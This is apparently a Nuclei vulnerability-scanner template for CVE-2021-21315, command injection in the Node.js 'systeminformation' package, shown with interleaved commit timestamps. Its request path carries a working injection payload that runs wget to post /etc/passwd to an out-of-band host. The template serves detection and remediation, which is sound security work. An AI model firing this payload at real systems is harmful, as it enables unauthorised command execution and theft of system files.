2021-03-02 11:02:08 +00:00
id : CVE-2021-21315
info :
2022-06-27 17:06:05 +00:00
name : Node.JS System Information Library <5.3.1 - Remote Command Injection
2021-03-02 11:02:08 +00:00
author : pikpikcu
severity : high
2022-06-27 17:06:05 +00:00
description : Node.JS System Information Library System before version 5.3.1 is susceptible to remote command injection. Node.JS (npm package "systeminformation") is an open source collection of functions to retrieve detailed hardware, system and OS information.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
2023-09-06 12:09:01 +00:00
remediation : Upgrade to version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected
2021-08-18 11:37:49 +00:00
reference :
2021-03-24 06:48:11 +00:00
- https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
- https://security.netapp.com/advisory/ntap-20210312-0007/
2022-05-17 09:18:12 +00:00
- https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-2m8v-572m-ff2v
- https://www.npmjs.com/package/systeminformation
2022-06-27 17:06:05 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-21315
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 7.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-21315
cwe-id : CWE-78
2024-03-23 09:28:19 +00:00
epss-score : 0.97233
epss-percentile : 0.99827
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:systeminformation:systeminformation:*:*:*:*:*:node.js:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : systeminformation
product : systeminformation
2023-09-06 12:09:01 +00:00
framework : node.js
2024-01-14 09:21:50 +00:00
tags : cve,cve2021,nodejs,kev,systeminformation,node.js
2021-03-02 11:02:08 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-03-02 11:02:08 +00:00
- method : GET
path :
2022-03-21 20:16:15 +00:00
- "{{BaseURL}}/api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20{{interactsh-url}})"
2021-03-02 11:02:08 +00:00
matchers-condition : and
matchers :
- type : word
2022-06-28 02:57:07 +00:00
part : body
2021-03-02 11:02:08 +00:00
words :
2022-03-21 20:16:15 +00:00
- "wget --post-file /etc/passwd {{interactsh-url}}"
2021-03-04 14:55:34 +00:00
- name
- running
- pids
2021-03-02 11:02:08 +00:00
condition : and
2022-06-28 02:57:07 +00:00
- type : word
part : header
words :
- "application/json"
2021-03-02 11:02:08 +00:00
- type : status
status :
- 200
2024-03-25 11:57:16 +00:00
# digest: 4a0a0047304502200c1047dcc90c189900f05fb35827af9ae07e546fd18b576cdf2fab02e506f6b4022100adf613b9c43079b8e63825c8282c41fd892e632b5fd81854a70bd1737ca542c1:922c64590222798bb761d5b6d8e72950